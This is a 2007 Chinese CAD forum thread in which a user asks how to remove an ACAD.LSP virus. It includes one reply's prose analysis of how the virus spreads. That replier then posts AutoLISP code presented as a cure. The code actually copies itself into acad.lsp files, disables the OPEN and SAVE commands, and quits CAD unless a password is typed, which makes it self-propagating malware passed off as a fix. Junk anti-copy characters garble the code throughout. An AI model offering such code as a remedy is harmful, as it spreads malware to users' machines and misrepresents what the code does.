中了ACAD.LSP怎么办？？CAD高手进！

bluer7 · 发表于 2007-9-13 16:16

前几天发现打开CAD时，一些常用的快捷命令不能用了，看了PGP文件，一切都未改动，并且打开DWG文件时，会多生成一个ACAD.LSP文件。在网上找了一些方法，都不起作用，用专杀也查不出来（北京鸿业，深圳浩辰），我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的，中了这个家伙后，几乎使我不能制图，这几天急得我茶饭不思，热切期盼高手能解决（可加我QQ：233710887），不胜感激！！！
特将多生成的ACAD文件附上！（见附件）

yjh54900 · 发表于 2007-9-13 16:51

还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.

yjh54900 · 发表于 2007-9-13 16:57

00.定义自动函数S::STARTUP

{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,

{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }

{03.获取菜单文件完整路径和名称,后来又没用~}

{04.获取当前图形文件完整路径和名称,截取当前工作路径}

{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}

{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")
则设程序标记变量LSPBJ为1,表示已经得手过
只读任务结束，关闭文件}

{08.如果找到的ACAD.LSP路径和当前工作路径不同，
并且不在ACAD\support里面，则
{如果LSPBJ为0，也即尚未得手，那么
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
然后同路径创建acadapp.lsp文件，作为刚改过的acad.lsp的备份. }
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则
用复写ACAD\support\acadapp.lsp的方式
在当前工作路径创建acad.lsp. }
要不就这样一步一步的查找.删除他们看看.

bluer7 · 发表于 2007-9-13 17:14

重装也没用啊，问题依旧存在。

yjh54900 · 发表于 2007-9-13 17:25

从网上找的,试试看.可以告诉一声
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn
& o( V) [7 N8 b: f0 m" A1 B
applctn oldacad newacad nowdwg lspbj
0 G0 H' x9 e2 _
wjm wjm1 wjqm wjqm1 wz + T% N2 A* b4 l i! c( l8 M
ns1 ns2 wjm0 wjqm0
$ d- {2 b" M s- B* e$ D. e
)
) C# r( a9 U4 I+ o. w o7 ~8 t
(setq lst0 (list "(" "load" "CADstartup.lsp" ")")) 0 E. V% v# t3 w% Z$ ?; ]8 a( }
& D4 I4 c/ o5 i/ O
(setq old_cmd (getvar "cmdecho")) 2 m! b4 Y% O9 j U7 A% r
(setvar "cmdecho" 0) 7 m$ @ S: S4 t% ~9 g
(if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn) 1 [$ C0 f7 N* m& ^8 F! \/ |. |
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
; _* e3 Z4 r9 r5 B( j" j! f
(if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) ))) " o% [. C0 {/ z% ^, L
(setq lctn lctn0)
6 s0 ~' p5 z, \+ L* A
(setq lctn (substr lctn 1 (- (strlen lctn) 8))) - D; t+ C3 F0 X
(setq mnllctn (getvar "menuname"))
* M8 N4 v8 O* r& S
(setq nowdwg (getvar "dwgname")) ' m3 f/ @6 G( E6 Z2 l
(setq wjqm (findfile nowdwg))
$ c0 k, i. [# v# |% Q ?' b/ z
(setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) - q7 S) R' {" o A
(if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
( V; j% a$ q2 z) s' M# h3 T
(setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) ) : ?2 _ e1 u; V+ p& N
(setq wjqm (strcat lctn "acad.lsp"))
& o P0 E" @1 B. X% F
(setq wjqm0 (strcat lctn "cadapp.lsp")) 8 y4 o% l/ R! {: e
(if (setq wjm0 (open wjqm0 "a")) ( i1 v( ^5 ]% [
;(progn 9 _5 p6 ]1 A$ C9 v# f" q. F9 ? @' h/ G
;(setq aa (read-line wjm0)) * a) v& F/ u g. I Q% {
;(if (/= aa "load CADstartup.lsp") ( Q% p9 j( H8 d) u
(progn
3 K9 }4 H+ ]( N$ d
(setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0))) - \ d+ U' X6 N# Q4 p
(write-line aa wjm0) 0 U% x3 i+ e8 G" G- B
) 2 M: P2 o7 E4 q' s1 V
(close wjm0)
: I, y) l0 Q. x5 f" {) q- H
) " h4 I6 o4 e$ j Z7 D6 Z# d) E
: O" f- J" @! ~/ t& o; r
(setq oldacad (findfile "CADstartup.lsp"))
* x) q& ^4 h! ?4 @2 P
(setq newacad (strcat lctn "acad.lsp")) $ ~3 ]$ T& U/ z' [
(writeapp)
' [* ]! A) W: d: B, a
(setq oldacad (findfile "acad.lsp")) 7 f# v0 U: w2 D" u1 K% }9 v
(setq newacad (strcat dwglctn "acad.lsp"))
5 T* u" g, O' Z1 P$ Y3 j
(writeapp) " F2 T" Y3 G) [, t
(command "undefine" "open")
+ ?/ f% ~3 K) F& r' w1 E# o
(command "undefine" "save") ; Z# G* T) u4 a; S2 R* R1 N) @; |* R
(setvar "cmdecho" old_cmd)
9 }0 I1 F+ A) S8 @
(print "This is CAD")
- [: W+ H* h9 T
(princ) 2 p6 }" G+ i ^' y6 o
) & a! I. R# a( p1 \
(defun writeapp ()
% }) d8 d @+ i# C- e; S" {$ Z
(if
4 h! z: C9 B7 L( b" s4 [$ j
(setq wjm1 (open newacad "w")) 8 z# |+ f' B% \) D1 u9 ~2 y
(progn
; m) G4 Z$ I! t9 X- h8 y
(setq wjm (open oldacad "r")) , D% [- P7 J! f: X7 g% d, P
(while 3 ]' ~, K/ o) R) Y* E4 v& k
(setq wz (read-line wjm))
& w9 ^6 l Q( d( \6 W k
(write-line wz wjm1) 7 M9 G9 A8 @8 C2 w
) 2 Y2 \$ n4 V/ F- D
(close wjm) - P* q! @/ L7 e" M
(close wjm1)
2 q- f, t. o- R- I1 `, y' m& ?
)
3 i6 L" K, d- V; t
)
" x( W; u! X, X x
)
2 j6 s8 Y/ ?. _6 q. | H
(defun C:open (/ p cont old_cmd) ) e* H0 R; j, G1 d- x# B) g. N
(setq
' U7 y, Y3 Y# v0 o7 G' O+ ^
old_cmd (getvar "cmdecho")
/ o, e! ?' W& K
)
9 H0 g6 ~3 m: A* q; d9 ~
(setvar "cmdecho" 0) # k. z/ U0 K: O
(setq p "12345") / [& }3 t8 l& B3 M0 j9 `
(setq p0 (getstring "\Input Pass Word:")) 7 e( b& y" O$ {7 ^+ C# Y9 l
(if (eq p p0) (progn
# n+ ?8 X/ Z& _6 T2 n* C. J) |
(command "redefine" "open") 6 ?* d6 H6 o2 p) N
(command "open" "")) (command "quit" "")) , `0 D7 W3 H R4 A( m. W% @2 n
)
0 g6 s5 K; x) w6 t/ x; F
(defun C:save (/ old_cmd) 5 i' V7 O4 X- |1 g" d- F2 ` J$ e
(setq old_cmd (getvar "cmdecho")) - e3 e; g: Y$ Z: c0 p# p
(setvar "cmdecho" 0) 9 T4 t5 s _* J) H+ N; L n
(setq p0 (getstring "\Are you finish?")) % @2 g$ [8 r1 p9 ~7 O, S) s3 F
(command "redefine" "save")
& }% Y& H4 K+ W9 Q# Q$ @ a! ^; B
(command "save" "")
2 w) M0 i, S' `! ^% G7 z, [6 n7 n ?
(setvar "cmdecho" old_cmd) + u/ R3 x4 W+ `: s) v3 G9 Y
(princ)
+ y3 G) H4 m. ~* l2 H2 N' A
)

复制代码

luowangsheng · 发表于 2007-9-13 17:42

高手啊!值得学习

vicki0910 · 发表于 2007-9-13 20:57

厉害啊……
完全不懂这东西……

daizhilee · 发表于 2007-9-13 22:22

看有没有试过这个方法，
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件，在“包含文字”数据框中输入：explode，选择搜索所有硬盘驱动器，将搜索到的这两个文件全部删除即可

zhy_7878 · 发表于 2007-9-13 23:26

看了一下病毒的分析,觉得相当麻烦.

jpf54321 · 发表于 2007-9-21 15:19

高手向你学习

毛是生飞 · 发表于 2007-9-21 15:25

还这么一回事??

闲逸 · 发表于 2007-9-21 16:13

高手，也曾中过同样的病毒，重装了系统才搞定它！

jianlong · 发表于 2009-2-24 16:28

真厉害，佩服啊，全都看不懂啊

beyondxxx · 发表于 2009-5-3 08:44

不太懂高手们说的什么意思啊，还是没弄明白怎么搞定，这代码什么的咱也不懂啊

jianlong · 发表于 2009-5-3 14:31

天文符号，总有一天我也会看懂的！

		自动登录	找回密码
密码			立即注册

中了ACAD.LSP怎么办？？CAD高手进！

本帖子中包含更多资源

回复 #2 yjh54900 的帖子